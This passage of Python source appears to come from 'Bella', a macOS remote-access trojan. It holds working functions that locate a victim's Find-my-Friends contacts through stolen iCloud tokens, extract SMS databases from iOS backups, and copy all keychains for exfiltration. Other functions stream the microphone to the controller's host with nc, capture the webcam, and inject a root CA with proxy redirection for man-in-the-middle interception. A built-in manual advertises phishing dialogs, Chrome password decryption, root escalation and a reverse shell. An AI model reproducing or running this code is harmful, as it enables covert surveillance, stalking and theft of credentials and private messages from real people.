729 accounts = list(database.execute("SELECT ZUSERNAME FROM ZACCOUNT WHERE ZACCOUNTDESCRIPTION='iCloud'"))
730 username = accounts[0][0] #gets just the first account, no multiuser support yet
731 returnList.append((True, username, x.split("/")[2]))
732 except Exception, e:
733 if str(e) == "list index out of range":
734 returnList.append((False, "No iCloud Accounts present\n", x.split("/")[2]))
735 else:
736 returnList.append((False, "%s\n" % str(e), x.split("/")[2]))
737 return returnList
738
739def get_model():
740 model = readDB('model')
741 if not model:
742 return model
743 return model
744
745def heard_it_from_a_friend_who(uDsid, mmeAuthToken, cardData):
746 mmeFMFAppToken = tokenFactory(base64.b64encode("%s:%s" % (uDsid, mmeAuthToken)))[0][2]
747 url = 'https://p04-fmfmobile.icloud.com/fmipservice/friends/%s/refreshClient' % uDsid
748 headers = {
749 'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (uDsid, mmeFMFAppToken)),#FMF APP TOKEN
750 'Content-Type': 'application/json; charset=utf-8',
751 }
752 data = {
753 "clientContext": {
754 "appVersion": "5.0" #critical for getting appropriate config / time apparently.
755 }
756 }
757 jsonData = json.dumps(data)
758 send_msg('%sRequesting FMF data.\n' % blue_star, False)
759 request = urllib2.Request(url, jsonData, headers)
760 i = 0
761 while 1:
762 try:
763 response = urllib2.urlopen(request)
764 break
765 except: #for some reason this exception needs to be caught a bunch of times before the request is made.
766 i +=1
767 continue
768 x = json.loads(response.read())
769 send_msg('%sGot FMF Data.\n' % yellow_star, False)
770 dsidList = []
771 phoneList = [] #need to find how to get corresponding name from CalDav
772 for y in x["following"]: #we need to get contact information.
773 for z, v in y.items():
774 #do some cleanup
775 if z == "invitationAcceptedHandles":
776 v = v[0] #v is a list of contact information, we will grab just the first identifier
777 phoneList.append(v)
778 if z == "id":
779 v = v.replace("~", "=")
780 v = base64.b64decode(v)
781 dsidList.append(v)
782 zippedList = zip(dsidList, phoneList)
783 retString = ""
784 i = 0
785 try:
786 locations = x["locations"]
787 except KeyError:
788 send_msg('%sCould not find locations. Try again.\n' % red_minus, False)
789 return
790 for y in locations:
791 streetAddress, country, state, town, timeStamp = " " *5
792 dsid = y["id"].replace("~", "=")
793 dsid = base64.b64decode(dsid) #decode the base64 id, and find its corresponding one in the zippedList.
794 for g in zippedList:
795 if g[0] == dsid:
796 phoneNumber = g[1] #we should get this for every person. no errors if no phone number found.
797 for x in cardData:
798 for nums in x[1]:
799 if phoneNumber.replace("+1", "") in nums:
800 phoneNumber += " (%s)" % x[0][0]
801 for emails in x[2]:
802 if phoneNumber in emails:
803 phoneNumber += " (%s)" % x[0][0]
804 try:
805 timeStamp = y["location"]["timestamp"] / 1000
806 timeNow = time.time()
807 timeDelta = timeNow - timeStamp #time difference in seconds
808 minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths
809 hours, minutes = divmod(minutes, 60)
810 timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S")
811 timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0]) #split at decimal
812 except TypeError:
813 timeStamp = "Could not get last location time."
814
815 if not y["location"]: #once satisfied, all is good, return fxn will end
816 continue #go back to top of loop and re-run query
817
818 for z, v in y["location"]["address"].items(): #loop through address info
819 #counter of threes for pretty print...
820 if type(v) is list:
821 continue
822 if z == "streetAddress":
823 streetAddress = v
824 if z == "countryCode":
825 country = v
826 if z == "stateCode":
827 state = v
828 if z == "locality":
829 town = v
830
831 if streetAddress != " ": #in the event that we cant get a street address, dont print it to the final thing
832 send_msg("%s\n%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + streetAddress, town, state, country, "\033[0m" + timeStamp,"-----"), False)
833 else:
834 send_msg("%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + town, state, country, "\033[0m" + timeStamp,"-----"), False)
835
836 i += 1
837 localToken = tokenRead()
838 if tokenRead() != False:
839 uDsid = tokenRead().split("\n")[0]
840 send_msg("\033[91mFound \033[93m[%s]\033[91m friends for %s!\033[0m\n" % (i, uDsid), False)
841 return
842
843def iCloud_auth_process(tokenOverride):
844 #this function will return a username and password combination, or a DSID and token combination, along with a code for which one is being used.
845 returnString = ""
846 token = ""
847 usingToken = False
848 localToken = tokenRead()
849
850 applePresent = applepwRead()
851
852 if isinstance(applePresent, str) and tokenOverride == False:
853 (username, password) = applepwRead().split(":") #just take the first account if there are multiple
854 usingToken = False
855
856 elif localToken != False: #means we have a token file.
857 try:
858 (username, password) = localToken.split("\n")[1].split(":")
859 usingToken = True
860 except Exception, e:
861 return (e, False, usingToken)
862 else: #means we have neither a token file, or apple creds
863 return ("No token found, no apple credentials found.\n%sRun 'iCloud_token' or 'iCloud_phish' to get one of these.\n" % yellow_star, False, usingToken)
864
865 return (username, password, usingToken)
866
867def iCloud_storage_helper(dsid, authToken):
868 authCode = base64.b64encode("%s:%s" % (dsid, authToken))
869 tokens = tokenFactory(authCode)
870 send_msg('Getting iCloud information.\n', False)
871 try:
872 req = urllib2.Request("https://p04-quota.icloud.com/quotaservice/external/mac/%s/storageUsageDetails" % dsid) #this will have all tokens
873 req.add_header('Authorization', 'Basic %s' % authCode)
874 req.add_header('Content-Type', 'application/json')
875 resp = urllib2.urlopen(req)
876 storageData = resp.read()
877 except Exception as e:
878 send_msg("Slight error [%s]" % e, False)
879 resp_dict = json.loads(storageData)
880
881 for x in tokens[1]: #tokens[1] is the account information of the user
882 send_msg("%s\n\n" % x, False)
883
884 try:
885 for x in resp_dict["photo"]:
886 if x["libraryEnabled"]:
887 send_msg(underline + "iCloud Photo Library: Enabled" + endANSI + "\n", False)
888 send_msg("\tPhoto Count: %s\n" % x["photoCount"], False)
889 send_msg("\tVideo Count: %s\n" % x["videoCount"], False)
890 send_msg("\tiCloud Photo Library Size: %s.%s GB\n" % (str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4]), False)
891 else:
892 send_msg(underline + "iCloud Photo Library: Disabled" + endANSI + "\n", False)
893 except:
894 send_msg("iCloud Photo Library: Disabled\n", False)
895
896 i = 0
897 try:
898 z = resp_dict["backups"]
899 if len(z) == 0:
900 send_msg("\n%sNo iCloud Backups found%s\n\n" % (underline, endANSI), False)
901 else:
902 send_msg("%siCloud Backups:%s\n" % (underline, endANSI), False)
903 for x in resp_dict["backups"]:
904 i += 1
905 #make a little dictionary to get the pretty name of the device.
906 productTypes = {'iPhone3,1': 'iPhone 4 (GSM)', 'iPhone3,2': 'iPhone 4 (CDMA)', 'iPhone4,1': 'iPhone 4s', 'iPhone5,1': 'iPhone 5 (GSM)', 'iPhone5,2': 'iPhone 5 (CDMA)', 'iPhone5,3': 'iPhone 5c', 'iPhone6,2': 'iPhone 5s (UK)', 'iPhone7,1': 'iPhone 6 Plus', 'iPhone8,1': 'iPhone 6s', 'iPhone8,2': 'iPhone 6s Plus', 'iPhone6,1': 'iPhone 5s', 'iPhone7,2': 'iPhone 6'}
907 try:
908 iPhone_type = productTypes[x["productType"]]
909 except:
910 iPhone_type = x["productType"]
911 send_msg("\t[%s] %s %s | Size is %s.%s GB | Model: %s\n" % (i, x["name"], x["lastModifiedLocalized"], str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4], iPhone_type), False)
912 except Exception, e:
913 send_msg("Error checking backups.\n%s\n" % str(e), False)
914
915 if len(tokens[0]) > 1:
916 send_msg("%sTokens!%s\n" % (underline, endANSI), False)
917 send_msg("\tMMeAuth: %s%s%s\n" % (blue, tokens[0][0], endANSI), False)
918 send_msg("\tCloud Kit: %s%s%s\n" % (red, tokens[0][1], endANSI), False)
919 send_msg("\tFMF App: %s%s%s\n" % (yellow, tokens[0][2], endANSI), False)
920 send_msg("\tFMiP: %s%s%s\n" % (green, tokens[0][3], endANSI), False)
921 send_msg("\tFMF: %s%s%s\n" % (violet, tokens[0][4], endANSI), False)
922 send_msg('', True)
923 return
924
925def insomnia_load():
926 if "book" in get_model().lower():
927 if is_there_SUID_shell():
928 gen = payload_generator(readDB('insomnia', True)) #will return b64 zip
929 payload_tmp_path = '/'.join(gen.split('/')[:-1])
930 do_root('unzip %s -d %s' % (gen, payload_tmp_path))
931 (success, msg) = do_root("chown -R 0:0 %s/Insomnia.kext/" % payload_tmp_path)
932 if not success:
933 return "%sError changing kext ownership to root.\n%s" % (red_minus, msg)
934 (success, msg) = do_root("kextload %s/Insomnia.kext/" % payload_tmp_path)
935 if not success:
936 return "%sError loading kext.\n%s" % (red_minus, msg)
937 return "%sInsomnia successfully loaded.\n" % greenPlus
938 return "%sYou need a root shell to load Insomnia.\n" % red_minus
939 else:
940 return "%sInsomnia does not work on non-MacBooks.\n" % blue_star
941
942def insomnia_unload():
943 if "book" in get_model() or "Book" in get_model():
944 if is_there_SUID_shell():
945 (success, msg) = do_root("kextunload -b net.semaja2.kext.insomnia")
946 if not success:
947 return "%sError unloading kext.\n%s" % (red_minus, msg)
948 return "%sInsomnia successfully unloaded.\n" % greenPlus
949 return "%sYou need a root shell to load Insomnia.\n" % red_minus
950 else:
951 return "%sInsomnia does not work on non-MacBooks.\n" % blue_star
952
953def resetUIDandName(): #if we are root we want to update the variable accordingly
954 global bella_user, helper_location, bella_UID
955 if os.getuid() == 0:
956 bella_user = cur_GUI_user()
957 bella_UID = pwd.getpwnam(bella_user).pw_uid
958 helper_location = '/'.join(os.path.abspath(__file__).split('/')[:-1]) + '/'
959 return
960
961def initialize_socket():
962 basicInfo = ''
963 resetUIDandName()
964 os.chdir(os.path.expanduser('~'))
965
966 if not check_if_payloads():
967
968 return 'payload_request_SBJ129' #request our payloads
969
970 if readDB('lastLogin') == False: #if it hasnt been set
971 updateDB('Never', 'lastLogin')
972
973 if not isinstance(get_model(), str): #if no model, put it in
974 output = check_output("sysctl hw.model")
975 if output[0]:
976 modelRaw = output[1].split(":")[1].replace("\n", "").replace(" ", "")
977 output = check_output("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' /System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist | grep marketingModel" % modelRaw)
978 if not output[0]:
979 model = 'Macintosh'
980 else:
981 model = output[1].split("=")[1][1:] #get everything after equal sign, and then remove first space.
982 updateDB(model, 'model')
983
984 if os.getuid() == 0:
985 basicInfo = 'ROOTED\n'
986
987 client_name = readDB('client_name')
988
989 if client_name == False:
990 output = check_output('scutil --get LocalHostName; echo %s; pwd; echo %s' % (get_bella_user(), readDB('lastLogin')))
991 else:
992 output = check_output('echo "%s"; echo "%s"; pwd; echo "%s"' % (client_name, get_bella_user(), readDB('lastLogin')))
993
994 if output[0]:
995 basicInfo += output[1]
996 else:
997 return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1]
998
999 output = check_output('ps -p %s -o etime=' % bellaPID)
1000 if output[0]:
1001 basicInfo += output[1] #stick version number onto the uptime
1002 else:
1003 return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1]
1004
1005 basicInfo += bella_version
1006
1007 updateDB(time.strftime("%a, %b %e %Y at %I:%M:%S %p"), 'lastLogin')
1008 return basicInfo
1009
1010def iTunes_backup_looker():
1011 backupPath = globber("/Users/*/Library/Application Support/MobileSync/Backup/*/Info.plist")
1012 if len(backupPath) > 0:
1013 backups = True
1014 returnable = "%sLooking for backups! %s\n" % (blue_star, blue_star)
1015 for z, y in enumerate(backupPath):
1016 returnable += "\n----- Device " + str(z + 1) + " -----\n\n"
1017 returnable += "Product Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Name\"' '%s'" % y).read().replace("\n", "")
1018 returnable += "Product Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Version\"' '%s'" % y).read().replace("\n", "")
1019 returnable += "Last Backup Date: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Last Backup Date\"' '%s'" % y).read().replace("\n", "")
1020 returnable += "Device Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Device Name\"' '%s'" % y).read().replace("\n", "")
1021 returnable += "Phone Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Phone Number\"' '%s'" % y).read().replace("\n", "")
1022 returnable += "Serial Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Serial Number\"' '%s'" % y).read().replace("\n", "")
1023 returnable += "IMEI/MEID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"IMEI\"' '%s'" % y).read().replace("\n", "")
1024 returnable += "UDID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Target Identifier\"' '%s'" % y).read().replace("\n", "")
1025 returnable += "iTunes Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"iTunes Version\"' '%s'" % y).read().replace("\n", "")
1026 #returnable += "Installed Apps: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Installed Applications\"' '%s'" % y).read().replace("\n", "")
1027 else:
1028 backups = False
1029 returnable = "%sNo local backups found %s\n" % (blue_star, blue_star)
1030 return (returnable, backups, backupPath)
1031
1032def iTunes_bk_sms_extract():
1033 info = iTunes_backup_looker()
1034 backup_paths = globber("/Users/*/Library/Application Support/MobileSync/Backup/*/3d0d7e5fb2ce288813306e4d4636395e047a3d28")
1035 #the above globber is for < iOS 10
1036 backup_paths += globber("/Users/*/Library/Application Support/MobileSync/Backup/*/3d/3d0d7e5fb2ce288813306e4d4636395e047a3d28")
1037 #the above globber is for >= iOS 10
1038 if len(backup_paths) < 1:
1039 send_msg("%sNo SMS backup files found!\n%sAre there iOS backups? Try running 'check_backups'.\n" % (red_minus, yellow_star), False)
1040 return
1041 send_msg("%sFound the following SMS files:\n\t%s\n" % (blue_star, '\n\t'.join([x.split('/')[7] for x in backup_paths])), False)
1042 send_msg("%sProcessing...\n" % blue_star, False)
1043 extracted = []
1044 copy_path = tempfile.mkdtemp()
1045 for backup in backup_paths:
1046 with open(backup, 'r') as content:
1047 dbcopy = content.read()
1048 with open('%s/ifile' % copy_path, 'w') as content:
1049 content.write(dbcopy)
1050 json = ''
1051 #start credits for below code https://github.com/fredrikhesse/iphone-sms-extract
1052 with sqlite3.connect('%s/ifile' % copy_path) as conn:
1053 json += "{\n\t\"conversations\":[\n"
1054 chat_cursor = conn.cursor()
1055 try:
1056 chat_cursor.execute("SELECT ROWID as chat_id, chat_identifier FROM chat")
1057 except sqlite3.DatabaseError: #encrypted database or corrupted.
1058 send_msg('%s%s is encrypted. Skipping.\n' % (red_minus, backup.split('/')[7]) , False)
1059 continue
1060 for chat_id, chat_identifier in chat_cursor.fetchall():
1061 sender = str(chat_identifier)
1062
1063 json += "\t\t{{\n\t\t\t\"sender\":\"{0}\",\n\t\t\t\"messages\":[\n".format(sender)
1064 first_message = True
1065 chat_message_cursor = conn.cursor()
1066 chat_message_cursor.execute(
1067 "SELECT chat_id as chat_chat_id, message_id as chat_message_id "
1068 "FROM chat_message_join WHERE chat_id = :chat_id",
1069 {"chat_id": chat_id})
1070 for chat_chat_id, chat_message_id in chat_message_cursor.fetchall():
1071 if first_message is not True:
1072 json += ",\n"
1073 first_message = False
1074 message_cursor = conn.cursor()
1075 message_cursor.execute(
1076 "SELECT text as message_text, service as message_type, is_from_me as message_is_from_me, "
1077 "datetime(date + strftime('%s', '2001-01-01 00:00:00'), 'unixepoch', 'localtime') as "
1078 "message_sentdate FROM message WHERE ROWID = :message_id",
1079 {"message_id": chat_message_id})
1080 for message_text, message_type, message_is_from_me, message_sentdate in message_cursor.fetchall():
1081 try:
1082 json += "\t\t\t\t{{\n\t\t\t\t\t\"text\":\"{0}\",\n\t\t\t\t\t\"fromMe\":\"{1}\",\n\t\t\t\t\t\
1083\"type\":\"{2}\",\n\t\t\t\t\t\"received\":\"{3}\"\n\t\t\t\t}}".format(
1084 str(message_text.encode('utf-8')), bool(message_is_from_me),
1085 message_type, message_sentdate)
1086 except AttributeError:
1087 continue
1088 json += "\n\t\t\t]\n\t\t},\n"
1089 json += "\t]\n}\n"
1090 #end credits
1091 extracted.append(('%s.json' % backup.split('/')[-2], json, backup.split('/')[2])) #backup UDID, json data, username
1092 shutil.rmtree(copy_path)
1093 serial = [] #fast, custom bella serialization
1094 for x in extracted:
1095 send_msg("%sFound SMS data for %s [%s]\n" % (blue_star, x[2], byte_convert(len(x[1]))), False)
1096 serial.append('FFA82F16'.join((x[2], x[1], x[0]))) #name, json data, username
1097 send_msg("%sSending data over.\n" % yellow_star, False)
1098 send_msg("FFA82F16", False)
1099 send_msg('FFA82F16_tuple'.join(serial), True)
1100
1101def kill_pid(pid):
1102 try:
1103 os.kill(pid, 9)
1104 return True
1105 except OSError, e:
1106 return False
1107
1108def keychain_download():
1109 try:
1110 serial = []
1111 for x in globber("/Users/*/Library/Keychains/login.keychain*"):
1112 #with open(x, 'rb') as content:
1113 content = protected_file_reader(x) #will return us permission acceptable file info
1114 user = x.split("/")[2]
1115 serial.append(pickle.dumps(['%s_login.keychain' % user, content]))
1116
1117 for iCloudKey in globber("/Users/*/Library/Keychains/*/keychain-2.db"):
1118 iCloudZip = StringIO.StringIO()
1119 joiner = '/'.join(iCloudKey.split("/")[:-1])
1120 for files in protected_file_lister(joiner):
1121 with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped:
1122 subFile = os.path.join(joiner, files)
1123 content = protected_file_reader(subFile)
1124 zipped.writestr(files, content)
1125 with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped:
1126 zipped.writestr(joiner.split("/")[-1], 'Keychain UUID')
1127 serial.append(pickle.dumps(["%s_iCloudKeychain.zip" % iCloudKey.split("/")[2], iCloudZip.getvalue()]))
1128 if is_there_SUID_shell():
1129 keys = protected_file_reader("/Library/Keychains/System.keychain")
1130 serial.append(pickle.dumps(["System.keychain", keys]))
1131 return 'keychain_download' + pickle.dumps(serial)
1132 except Exception, e:
1133 return (red_minus + "Error reading keychains.\n%s\n") % str(e)
1134
1135def manual():
1136 value = "\n%sBella Version%s\nReturn Bella's version / release number.\nUsage: %sversion%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1137 value += "\n%sChat History%s\nDownload the user's macOS iMessage database.\nUsage: %schat_history%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1138 value += "\n%sCheck Backups%s\nEnumerate the user's local iOS backups.\nUsage: %scheck_backups%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1139 value += "\n%sChrome Dump%s\nDecrypt user passwords stored in Google Chrome profiles.\nUsage: %schrome_dump%s\nRequirements: Chrome SS Key [see chrome_safe_storage]\n" % (underline + bold + green, endANSI, bold, endANSI)
1140 value += "\n%sChrome Safe Storage%s\nPrompt the keychain to present the user's Chrome Safe Storage Key.\nUsage: %schrome_safe_storage%s\nRequirements: None\n" % (underline + bold + green, endANSI, bold, endANSI)
1141 value += "\n%sCurrent Users%s\nFind all currently logged in users.\nUsage: %scurrent_Users%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1142 value += "\n%sGet Root%s\nAttempt to escalate Bella to root through a variety of attack vectors.\nUsage: %sget_root%s\nRequirements: None\n" % (underline + bold + red, endANSI, bold, endANSI)
1143 value += "\n%sFind my iPhone%s\nLocate all devices on the user's iCloud account.\nUsage: %siCloud_FMIP%s\nRequirements: iCloud Password [see iCloud_phish]\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1144 value += "\n%sFind my Friends%s\nLocate all shared devices on the user's iCloud account.\nUsage: %siCloud_FMF%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1145 value += "\n%siCloud Contacts%s\nGet contacts from the user's iCloud account.\nUsage: %siCloud_contacts%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1146 value += "\n%siCloud Password Phish%s\nTrick user into verifying their iCloud password through iTunes prompt.\nUsage: %siCloud_phish%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1147 value += "\n%siCloud Query%s\nGet information about the user's iCloud account.\nUsage: %siCloud_query%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1148 value += "\n%siCloud Token%s\nPrompt the keychain to present the User's iCloud Authorization Token.\nUsage: %siCloud_token%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1149 value += "\n%sInsomnia Load%s\nLoads an InsomniaX Kext to prevent laptop from sleeping, even when closed.\nUsage: %sinsomnia_load%s\nRequirements: root, laptops only\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1150 value += "\n%sInsomnia Unload%s\nUnloads an InsomniaX Kext loaded through insomnia_load.\nUsage: %sinsomnia_unload%s\nRequirements: root, laptops only\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1151 value += "\n%sInteractive Shell%s\nLoads an interactive reverse shell (bash) to the remote machine. This allows us to run commands such as telnet, nano, sudo, etc.\nUsage: %sinteractive_shell%s\n" % (underline + bold, endANSI, bold, endANSI)
1152 value += "\n%siOS SMS Extract%s\nExtracts all SMS databases from local iOS backups and converts to readable JSON.\nUsage: %siOS_sms%s\nRequirements: None\n" % (underline + bold + blue, endANSI, bold, endANSI)
1153 value += "\n%sBella Info%s\nExtensively details information about the user and information from the Bella instance.\nUsage: %sbella_info%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1154 value += "\n%sKeychain Download%s\nDownloads all available Keychains, including iCloud, for offline processing.\nUsage: %skeychain_download%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1155 value += "\n%sManual%s\nDisplay this manual.\nUsage: %smanual%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1156 value += "\n%sMike Stream%s\nStreams the microphone input over a socket.\nUsage: %smike_stream%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1157 value += "\n%sMITM Start%s\nInjects a Root CA into the System Roots Keychain and redirects all traffic to the CC.\nUsage: %smitm_start%s\nRequirements: root.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1158 value += "\n%sMITM Kill%s\nEnds a MITM session started by MITM start.\nUsage: %smitm_kill%s\nRequirements: root.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1159 value += "\n%sReboot Server%s\nRestarts a Bella instance.\nUsage: %sreboot_server%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1160 value += "\n%sRemove Server%s\nCompletely removes a Bella server remotely.\nUsage: %sremoveserver_yes%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1161 value += "\n%sSafari History%s\nDownloads user's Safari history in a nice format.\nUsage: %ssafari_history%s\nRequirements: None.\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1162 value += "\n%sScreenshot%s\nTake a screen shot of the current active desktop.\nUsage: %sscreen_shot%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1163 value += "\n%sSet Client Name%s\nChange the computer name that is displayed in the Control Center.\nUsage: %sset_client_name%s\nRequirements: None.\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
1164 value += "\n%sShutdown Server%s\nUnloads Bella from launchctl until next reboot.\nUsage: %sshutdown_server%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1165 value += "\n%sSystem Information%s\nReturns basic information about the system.\nUsage: %ssysinfo%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1166 value += "\n%sUpdate DB Entry%s\nUpdate the database entry for iCloud password or user password.\nUsage: %supdate_db_entry%s\nRequirements: None.\n" % (underline + bold + blue, endANSI, bold, endANSI)
1167 value += "\n%sUpdate Server%s\nUpdate the remote Bella server with a specified payload.\nUsage: %sserver_update%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1168 value += "\n%sUser Pass Phish%s\nWill phish the user for their password with a clever dialog.\nUsage: %suser_pass_phish%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1169 value += "\n%sVolume Set%s\nSet the speaker volume on the remote machine.\nUsage: %svolume%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1170 value += "\n%sVNC%s\nStart a reverse VNC connection over port 5500.\nUsage: %svnc%s\nRequirements: VNC Viewer for macOS.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
1171 value += "\n%sWebcam%s\nCapture an image on the remote computer's webcam.\nUsage: %swebcam%s\nRequirements: None\n" % (underline + bold + green, endANSI, bold, endANSI)
1172 return value
1173
1174def webcam_helper(payload_path):
1175 payload_dir = '/'.join(payload_path.split('/')[:-1])
1176 send_msg("%sBeginning webcam capture.\n" % blue_star, False)
1177 out = subprocess.Popen("%s -w 1 '%s/capture.jpg'" % (payload_path, payload_dir), stdout=subprocess.PIPE, shell=True)
1178 out.stdout.read() #wait for stdout to complete aka wait for image to finish
1179 with open('%s/capture.jpg' % (payload_dir), 'rb') as content:
1180 picture_data = base64.b64encode(content.read())
1181 send_msg('%sCaptured webcam. Sending image over.\n' % blue_star, False)
1182 send_msg('%sDestroying image on remote machine.\n' % yellow_star, False)
1183 payload_cleaner()
1184 send_msg('webcam_coming_over:::%s' % picture_data, True)
1185 return
1186
1187def mike_helper(payload_path):
1188 stream_port = 2897
1189 send_msg('%sOpening microphone.\n' % blue_star, False)
1190 pipe = subprocess.Popen('%s' % payload_path, stdout=subprocess.PIPE)
1191 subprocess_manager(pipe.pid, '/'.join(payload_path.split('/')[:-1]), 'Microphone') #keep track of mikepipe since it never closes, as well as payload path
1192 send_msg('%sOpened microphone [%s].\n' % (blue_star, pipe.pid), False)
1193 send_msg('%sOpening Stream.\n' % blue_star, False)
1194 stream = subprocess.Popen(('nc %s %s' % (host, stream_port)).split(), stdin=pipe.stdout, stdout=subprocess.PIPE)
1195 time.sleep(2) #give a few seconds to terminate if not running ...
1196 #stream.poll will be the exit code if it has exited, otherwise it will be None (so, None if we are connected)
1197 if stream.poll(): #if None, we are connected, see Else. If an integer, we have crashed.
1198 send_msg('%sListener could not be reached. Closing microphone.\n' % red_minus, False)
1199 if kill_pid(pipe.pid):
1200 send_msg('%sClosed microphone.\n' % blue_star, True)
1201 else:
1202 send_msg('%sError closing microphone with PID [%s].\n' % (red_minus, pipe.pid), True)
1203 else:
1204 send_msg('%sListener connected, microphone streaming.\n' % greenPlus, True)
1205 return 0
1206
1207def mitm_kill(interface, certsha1):
1208 if not is_there_SUID_shell():
1209 return "%sYou must have a root shell to stop MITM. See get_root.\n" % red_minus
1210
1211 x = check_output("networksetup -getsecurewebproxy %s" % interface)
1212 if not x[0]:
1213 if x[2] == 8:
1214 send_msg("%sThe interface [%s] does not exist." % (red_minus, interface), True)
1215 return
1216 send_msg(x[1], True)
1217 if "Enabled: No" in x[1]:
1218 send_msg("%s\033[4mAlready disabled!\033[0m %s\n%s" % (yellow_star, yellow_star, x[1]), True)
1219 return
1220
1221 cert = cert_remove(certsha1)
1222 if 'Error' in cert:
1223 send_msg('ERROR REMOVING CERTIFICATE FROM KEYCHAIN. YOU SHOULD PERFORM MANUALLY.\n', False)
1224 send_msg(cert, False)
1225
1226 (success, msg) = do_root("networksetup -setwebproxy %s '' 0" % interface)
1227 if not success:
1228 send_msg("%sSetting [%s] HTTP proxy to null failed!\n" % (red_minus, interface), False)
1229 else:
1230 send_msg("%sSet [%s] HTTP proxy to null.\n" % (greenPlus, interface), False)
1231
1232 (success, msg) = do_root("networksetup -setsecurewebproxy %s '' 0" % interface)
1233 if not success:
1234 send_msg("%sSetting [%s] HTTPS proxy to null failed!\n" % (red_minus, interface), False)
1235 else:
1236 send_msg("%sSet [%s] HTTPS proxy to null.\n" % (greenPlus, interface), False)
1237
1238 (success, msg) = do_root("networksetup -setwebproxystate %s off" % interface)
1239 if not success:
1240 send_msg("%sFailed to turn off [%s] HTTP proxy!\n" % (red_minus, interface), False)
1241 else:
1242 send_msg("%sTurned off [%s] HTTP proxy.\n" % (greenPlus, interface), False)
1243
1244 (success, msg) = do_root("networksetup -setsecurewebproxystate %s off" % interface)
1245 if not success:
1246 send_msg("%sFailed to turn off [%s] HTTP proxy!\n" % (red_minus, interface), False)
1247 else:
1248 send_msg("%sTurned off [%s] HTTP proxy.\n" % (greenPlus, interface), False)
1249
1250 send_msg('', True)
1251 return 1
1252
1253def mitm_start(interface, cert):
1254 if not is_there_SUID_shell():
1255 send_msg("%sYou must have a root shell to start MITM. See get_root.\n" % red_minus, True)
1256 return
1257
1258 x = check_output("networksetup -getsecurewebproxy %s" % interface)
1259 if not x[0]:
1260 if x[2] == 8:
1261 send_msg("%sThe interface [%s] does not exist." % (red_minus, interface), True)
1262 return
1263 send_msg(x[1], True)
1264 if "Enabled: Yes" in x[1]:
1265 send_msg("%s\033[4mAlready enabled!\033[0m %s\n%s" % (yellow_star, yellow_star, x[1]), True)
1266 return
1267
1268 cert = cert_inject(cert)
1269 if 'Error' in cert:
1270 send_msg(cert, True)
1271 send_msg('', True)
1272 return
1273 send_msg(cert, False)
1274
1275 (success, msg) = do_root("networksetup -setwebproxy %s %s 8081" % (interface, host))
1276 if not success:
1277 send_msg("%sRedirecting [%s] HTTP (80) to [%s:8081] failed!\n" % (red_minus, interface, host), True)
1278 send_msg("%sRedirecting [%s] HTTP (80) to [%s:8081].\n" % (greenPlus, interface, host), False)
1279
1280 (success, msg) = do_root("networksetup -setsecurewebproxy %s %s 8081" % (interface, host))
1281 if not success:
